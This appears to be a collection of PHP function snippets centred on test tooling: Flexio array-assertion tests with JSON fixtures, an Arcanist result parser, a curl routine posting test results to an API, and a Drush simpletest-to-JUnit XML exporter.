';\n $expected_array = '\n {\n \"key1\": \"value2\",\n \"key2\": {\n \"key3\": \"value3\"\n },\n \"key3\": \"\"\n }\n ';\n \\Flexio\\Tests\\Check::assertArrayKeys('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertArrayKeys() working' : '\\Flexio\\Tests\\Check::assertArrayKeys() not working');\n $results[] = new \\Flexio\\Tests\\Result('H.14', '\\Flexio\\Tests\\Check::assertArrayKeys(); succeed if the key\\'s are the same; fail otherwise', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"key1\": \"value1\",\n \"key2\": {\n \"key3\": \"value2\"\n },\n \"key3\": \"value4\"\n }\n ';\n $expected_array = '\n {\n \"key1\": \"value2\",\n \"key2\": {\n \"key3\": \"value3\"\n },\n \"key3\": \"\"\n }\n ';\n \\Flexio\\Tests\\Check::assertArrayKeys('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertArrayKeys() working' : '\\Flexio\\Tests\\Check::assertArrayKeys() not working');\n $results[] = new \\Flexio\\Tests\\Result('H.15', '\\Flexio\\Tests\\Check::assertArrayKeys(); succeed if the key\\'s are the same; fail otherwise', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"key1\": \"value1\",\n \"key2\": {\n \"key3\": \"value2\",\n \"key4\": \"value3\"\n },\n \"key5\": \"value4\"\n }\n ';\n $expected_array = '\n {\n \"key1\": \"value5\",\n \"key2\": {\n \"key3\": \"value6\",\n \"key4\": \"value7\"\n },\n \"key5\": \"value8\"\n }\n ';\n \\Flexio\\Tests\\Check::assertArrayKeys('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertArrayKeys() working' : '\\Flexio\\Tests\\Check::assertArrayKeys() not working');\n $results[] = new \\Flexio\\Tests\\Result('H.16', '\\Flexio\\Tests\\Check::assertArrayKeys(); succeed if the key\\'s are the same; fail otherwise', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"key1\": \"value1\",\n \"key2\": {\n \"key3\": \"value2\",\n \"key4\": \"value3\",\n \"key5\": \"\"\n },\n \"key6\": \"value4\"\n }\n ';\n $expected_array = '\n {\n \"key1\": \"value5\",\n \"key2\": {\n \"key3\": \"value6\",\n \"key4\": \"value7\"\n },\n \"key6\": \"value8\"\n }\n ';\n \\Flexio\\Tests\\Check::assertArrayKeys('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertArrayKeys() working' : '\\Flexio\\Tests\\Check::assertArrayKeys() not working');\n $results[] = new \\Flexio\\Tests\\Result('H.17', '\\Flexio\\Tests\\Check::assertArrayKeys(); succeed if the key\\'s are the same; fail otherwise', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"key1\": \"value1\",\n \"key2\": {\n \"key3\": \"value2\",\n \"key4\": \"value3\",\n },\n \"key6\": \"value4\"\n }\n ';\n $expected_array = '\n {\n \"key1\": \"value5\",\n \"key2\": {\n \"key3\": \"value6\",\n \"key4\": \"value7\",\n \"key5\": \"\"\n },\n \"key6\": \"value8\"\n }\n ';\n \\Flexio\\Tests\\Check::assertArrayKeys('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertArrayKeys() working' : '\\Flexio\\Tests\\Check::assertArrayKeys() not working');\n $results[] = new \\Flexio\\Tests\\Result('H.18', '\\Flexio\\Tests\\Check::assertArrayKeys(); succeed if the key\\'s are the same; fail otherwise', $test_result, $test_message);\n\n\n\n // TEST: \\Flexio\\Tests\\Check::assertArray()\n\n // BEGIN TEST\n // I\n\n\n // TEST: \\Flexio\\Tests\\Check::assertInArray()\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n ';\n $expected_array = '\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.1', '\\Flexio\\Tests\\Check::assertInArray(); fail when there\\'s a bad string input', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n [\n ]\n ';\n $expected_array = '\n [\n ]\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.2', '\\Flexio\\Tests\\Check::assertInArray(); succeed with two empty arrays', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n }\n ';\n $expected_array = '\n {\n }\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.3', '\\Flexio\\Tests\\Check::assertInArray(); succeed with two empty objects', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n [\n \"a\"\n ]\n ';\n $expected_array = '\n [\n \"a\"\n ]\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.4', '\\Flexio\\Tests\\Check::assertInArray(); succeed if expected array values are contained in the actual array values', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n [\n 1\n ]\n ';\n $expected_array = '\n [\n 1\n ]\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.5', '\\Flexio\\Tests\\Check::assertInArray(); succeed if expected array values are contained in the actual array values', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n [\n ]\n ';\n $expected_array = '\n [\n 1\n ]\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === false ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.6', '\\Flexio\\Tests\\Check::assertInArray(); fail if expected array values are not contained in the actual array values', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n [\n 3,\n 2,\n 1\n ]\n ';\n $expected_array = '\n [\n 1\n ]\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.7', '\\Flexio\\Tests\\Check::assertInArray(); succeed if expected array values are contained in the actual array values', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n [\n 1,\n 2,\n 3\n ]\n ';\n $expected_array = '\n [\n 2\n ]\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.8', '\\Flexio\\Tests\\Check::assertInArray(); succeed if expected array values are contained in the actual array values', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n [\n 1,\n 2,\n 3\n ]\n ';\n $expected_array = '\n [\n 1,\n 3\n ]\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.9', '\\Flexio\\Tests\\Check::assertInArray(); succeed if expected array values are contained in the actual array values', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n [\n 1,\n 2,\n 3\n ]\n ';\n $expected_array = '\n [\n 1,\n 3,\n 4\n ]\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === false ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.10', '\\Flexio\\Tests\\Check::assertInArray(); succeed if expected array values are contained in the actual array values', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"key\": \"value\"\n }\n ';\n $expected_array = '\n {\n \"key\": \"value\"\n }\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.11', '\\Flexio\\Tests\\Check::assertInArray(); succeed with two objects with the same key/value', $test_result, $test_message);\n\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"key\": \"value\"\n }\n ';\n $expected_array = '\n {\n \"key\": \"null\"\n }\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.12', '\\Flexio\\Tests\\Check::assertInArray(); succeed with two objects with the same key/value', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"k1\": \"v1\",\n \"k2\": \"v2\"\n }\n ';\n $expected_array = '\n {\n \"k1\": \"v1\",\n \"k2\": \"v2\"\n }\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.13', '\\Flexio\\Tests\\Check::assertInArray(); succeed with two objects with the same key/value', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"k1\": \"v1\"\n }\n ';\n $expected_array = '\n {\n \"k1\": \"\"\n }\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.14', '\\Flexio\\Tests\\Check::assertInArray(); succeed with two objects with the same key/value', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"k1\": \"\"\n }\n ';\n $expected_array = '\n {\n \"k1\": \"v1\"\n }\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.15', '\\Flexio\\Tests\\Check::assertInArray(); succeed with two objects with the same key/value', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"k1\": \"v1\"\n }\n ';\n $expected_array = '\n {\n \"k2\": \"v1\"\n }\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.16', '\\Flexio\\Tests\\Check::assertInArray(); succeed with two objects with the same key/value', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"k2\": \"v1\"\n }\n ';\n $expected_array = '\n {\n \"k1\": \"v1\"\n }\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.17', '\\Flexio\\Tests\\Check::assertInArray(); succeed with two objects with the same key/value', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"k1\": \"v1\",\n \"k2\": \"v2\"\n }\n ';\n $expected_array = '\n {\n \"k1\": \"v1\",\n \"k2\": \"\"\n }\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.18', '\\Flexio\\Tests\\Check::assertInArray(); fail if an expected key is in the actual array and the values are different', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"k1\": \"v1\",\n \"k2\": \"v2\"\n }\n ';\n $expected_array = '\n {\n \"k1\": \"v1\"\n }\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.19', '\\Flexio\\Tests\\Check::assertInArray(); succeed if all keys in the expected array are in the actual array and the associated values are equivalent', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"k1\": \"v1\",\n \"k2\": \"v2\"\n }\n ';\n $expected_array = '\n {\n \"k1\": \"v1\",\n \"k3\": \"v3\"\n }\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.20', '\\Flexio\\Tests\\Check::assertInArray(); fail if the expected array has a key that the actual array doesn\\'t', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"k1\" : {\n \"k11\": \"v11\",\n \"k12\": \"v12\"\n }\n }\n ';\n $expected_array = '\n {\n \"k1\" : {\n \"k11\": \"v11\",\n \"k12\": \"v12\"\n }\n }\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.21', '\\Flexio\\Tests\\Check::assertInArray(); make sure key/values are checked recursively', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"k1\" : {\n \"k11\": \"v11\",\n \"k12\": \"v12\"\n }\n }\n ';\n $expected_array = '\n {\n \"k1\" : {\n \"k12\": \"v12\"\n }\n }\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.22', '\\Flexio\\Tests\\Check::assertInArray(); make sure key/values are checked recursively', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"k1\" : {\n \"k11\": \"v11\",\n \"k12\": \"v12\"\n }\n }\n ';\n $expected_array = '\n {\n \"k1\" : {\n \"k11\": \"\"\n }\n }\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.23', '\\Flexio\\Tests\\Check::assertInArray(); make sure key/values are checked recursively', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"k1\" : {\n \"k11\": \"v11\",\n \"k12\": \"v12\"\n }\n }\n ';\n $expected_array = '\n {\n \"k1\" : {\n \"k11\": \"v11\",\n \"k13\": \"v13\"\n }\n }\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.24', '\\Flexio\\Tests\\Check::assertInArray(); make sure key/values are checked recursively', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"k1\" : {\n \"k11\": \"v11\",\n \"k12\": [1,2,3]\n }\n }\n ';\n $expected_array = '\n {\n \"k1\" : {\n \"k12\": [2,3]\n }\n }\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.25', '\\Flexio\\Tests\\Check::assertInArray(); make sure key/values are checked recursively', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"k1\" : {\n \"k11\": \"v11\",\n \"k12\": [1,2,3]\n }\n }\n ';\n $expected_array = '\n {\n \"k1\" : {\n \"k12\": [2,3,4]\n }\n }\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.26', '\\Flexio\\Tests\\Check::assertInArray(); make sure key/values are checked recursively', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"k1\" : {\n \"k11\": \"v11\",\n \"k12\": [\"a\",true,null]\n }\n }\n ';\n $expected_array = '\n {\n \"k1\" : {\n \"k12\": [\"a\",true]\n }\n }\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.27', '\\Flexio\\Tests\\Check::assertInArray(); make sure key/values are checked recursively', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"k1\" : {\n \"k11\": \"v11\",\n \"k12\": [\"a\",true,null]\n }\n }\n ';\n $expected_array = '\n {\n \"k1\" : {\n \"k12\": [null]\n }\n }\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.28', '\\Flexio\\Tests\\Check::assertInArray(); make sure key/values are checked recursively', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"k1\" : {\n \"k11\": \"v11\",\n \"k12\": [\"a\",true,null]\n }\n }\n ';\n $expected_array = '\n {\n \"k1\" : {\n \"k12\": [\"a\",3]\n }\n }\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.29', '\\Flexio\\Tests\\Check::assertInArray(); make sure key/values are checked recursively', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"k1\" : {\n \"k11\": {\n }\n \"k12\": [\"a\",true,null]\n }\n }\n ';\n $expected_array = '\n {\n \"k1\" : {\n \"k11\": null\n \"k12\": [\"a\"]\n }\n }\n ';\n \\Flexio\\Tests\\Check::assertInArray('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertInArray() working' : '\\Flexio\\Tests\\Check::assertInArray() not working');\n $results[] = new \\Flexio\\Tests\\Result('J.30', '\\Flexio\\Tests\\Check::assertInArray(); make sure key/values are checked recursively', $test_result, $test_message);\n }", "public function parseTestResults($path, $test_results) {\n if (!$test_results) {\n $result = id(new ArcanistUnitTestResult())\n ->setName($path)\n ->setUserData($this->stderr)\n ->setResult(ArcanistUnitTestResult::RESULT_BROKEN);\n return array($result);\n }\n\n $report = $this->getJunitReport($test_results);\n\n // coverage is for all testcases in the executed $path\n $coverage = array();\n if ($this->enableCoverage !== false) {\n $coverage = $this->readCoverage();\n }\n\n $results = array();\n foreach ($report as $result) {\n $result->setCoverage($coverage);\n $results[] = $result;\n $last_test_finished = true;\n }\n\n if (!$last_test_finished) {\n $results[] = id(new ArcanistUnitTestResult())\n ->setName(idx($event, 'test')) // use last event\n ->setUserData($this->stderr)\n ->setResult(ArcanistUnitTestResult::RESULT_BROKEN);\n }\n return $results;\n }", "public function sendResults( $results = array() ) {\n\n // dummy data:\n // $results = array(\n // (object)array(\n // \"id\" => \"484848484852bf4f6c7eca896c0030516ab2f228f157237712e52d66489d9960\",\n // \"result\" => 6,\n // \"sc\" => 1625125748\n // )\n // );\n\n $postdata = json_encode(\n (object)array(\n 'testResults' => $results\n )\n );\n\n $ch = curl_init();\n\n $curlOpts = array(\n CURLOPT_POST => true,\n CURLOPT_POSTFIELDS => $postdata,\n CURLOPT_RETURNTRANSFER => true,\n CURLOPT_FOLLOWLOCATION => true,\n CURLOPT_SSLKEY => self::$keyFile,\n CURLOPT_SSLCERT => self::$certFile,\n CURLOPT_KEYPASSWD => self::$keyPass,\n CURLOPT_URL => self::getStageURL() . self::API_ENDPOINT_RESULTS,\n CURLOPT_HTTPHEADER => array('Content-Type: application/json'),\n );\n \n curl_setopt_array($ch , $curlOpts);\n \n $output = curl_exec( $ch ) ;\n \n if ( curl_errno( $ch ) ) {\n $error_msg = curl_error( $ch );\n print \"curl_error: $error_msg <br>\";\n } else {\n $status = curl_getinfo( $ch, CURLINFO_HTTP_CODE );\n if ( 204 === $status ) {\n return true;\n } else {\n $response = json_decode($output);\n if ( is_object( $response ) ) {\n return $response;\n } else {\n return (object)array(\n 'status' => $status,\n 'response' => $response\n );\n }\n }\n }\n }", "function get_test_pager($page, $num_results) {\n\t\t$pager = $this->db->get_pager(\n\t\t\t\"select * from tasks where status < 3 order by suspense_date\"\n\t\t);\n\n\t\t// override defaults\n\t\t$pager->set_rows($num_results);\n\t\t$pager->set_page($page);\n\n\t\treturn $pager;\n\t}", "public function testArrayResult()\n {\n $result = $this->searchResult->arrayResult();\n\n $this->assertArrayHasKey('results', $result);\n $this->assertArrayHasKey('status', $result);\n }", "function drush_test_xml_results($test_id, $dir, $info) {\n $dir = is_string($dir) ? $dir : '.';\n\n // Get an array of test result objects from the database.\n if (drush_drupal_major_version() >= 7) {\n $results = db_query(\"SELECT * FROM {simpletest} WHERE test_id = :test_id ORDER BY test_class, message_id\", array(':test_id' => $test_id));\n }\n else {\n $result = db_query(\"SELECT * FROM {simpletest} WHERE test_id = %d ORDER BY test_class, message_id\", $test_id);\n $results = array();\n while ($row = db_fetch_object($result)) {\n $results[] = $row;\n }\n }\n\n // Collect and aggregate the data from simpletest.\n $test_suites = array();\n foreach ($results as $result) {\n // Create test_suite object.\n // Formatting name so it becomes \"group.name\" without any other dots. Jenkins uses string splitting on dots to gather info.\n $test_suite_name = str_replace('.', '', $info['group']) . '.' . str_replace('.', '', $info['name']);\n if (!isset($test_suites[$test_suite_name])) {\n $test_suite = new stdClass();\n $test_suite->name = $test_suite_name;\n $test_suite->test_cases = array();\n $test_suites[$test_suite_name] = $test_suite;\n }\n else {\n $test_suite = $test_suites[$test_suite_name];\n }\n // Create test_case object.\n list(, $test_case_name) = explode('->', $result->function, 2);\n if (empty($test_case_name)) {\n // There is no '->' present on static function calls. Use the whole string in those cases.\n $test_case_name = $result->function;\n }\n $test_case_name = str_replace('.', '', $test_case_name); // Remove those dots Jenkins loves so much.\n if (!isset($test_suite->test_cases[$test_case_name])) {\n $test_case = new stdClass();\n $test_case->name = $test_case_name;\n $test_case->failure_message = '';\n $test_case->error_message = '';\n $test_case->system_out = '';\n $test_case->system_err = '';\n $test_suite->test_cases[$test_case_name] = $test_case;\n }\n else {\n $test_case = $test_suite->test_cases[$test_case_name];\n }\n // Prepare message.\n $status = str_pad($result->status . ':', 10);\n $message = strip_tags($result->message, '<a>'); // Jenkins encodes the output so don't use any tags.\n $message = preg_replace('/<a.*?href=\"([^\"]+)\".*?>(.*?)<\\/a>/', '$1 $2', $message); // Jenkins will turn urls into clickable links.\n $message = $status . ' [' . $result->message_group . '] ' . $message . ' [' . basename($result->file) . ':' . $result->line . \"]\\n\";\n // Everything is logged in system_out.\n $test_case->system_out .= $message;\n // Failures go to failures.\n if ($result->status == 'fail') {\n $test_case->failure_message .= $message;\n }\n // Exceptions go both to errors and system_err.\n if ($result->status == 'exception') {\n $test_case->error_message .= $message;\n $test_case->system_err .= $message;\n }\n }\n\n // Build an XML document from our results.\n $xml = new DOMDocument('1.0', 'UTF-8');\n foreach ($test_suites as $test_suite) {\n $test_suite_element = $xml->createElement('testsuite');\n $test_suite_element->setAttribute('name', $test_suite->name);\n foreach ($test_suite->test_cases as $test_case) {\n $test_case_element = $xml->createElement('testcase');\n $test_case_element->setAttribute('name', $test_case->name);\n if (!empty($test_case->failure_message)) {\n $failure_element = $xml->createElement('failure');\n $failure_element->setAttribute('message', $test_case->failure_message);\n $test_case_element->appendChild($failure_element);\n }\n if (!empty($test_case->error_message)) {\n $error_element = $xml->createElement('error');\n $error_element->setAttribute('message', $test_case->error_message);\n $test_case_element->appendChild($error_element);\n }\n if 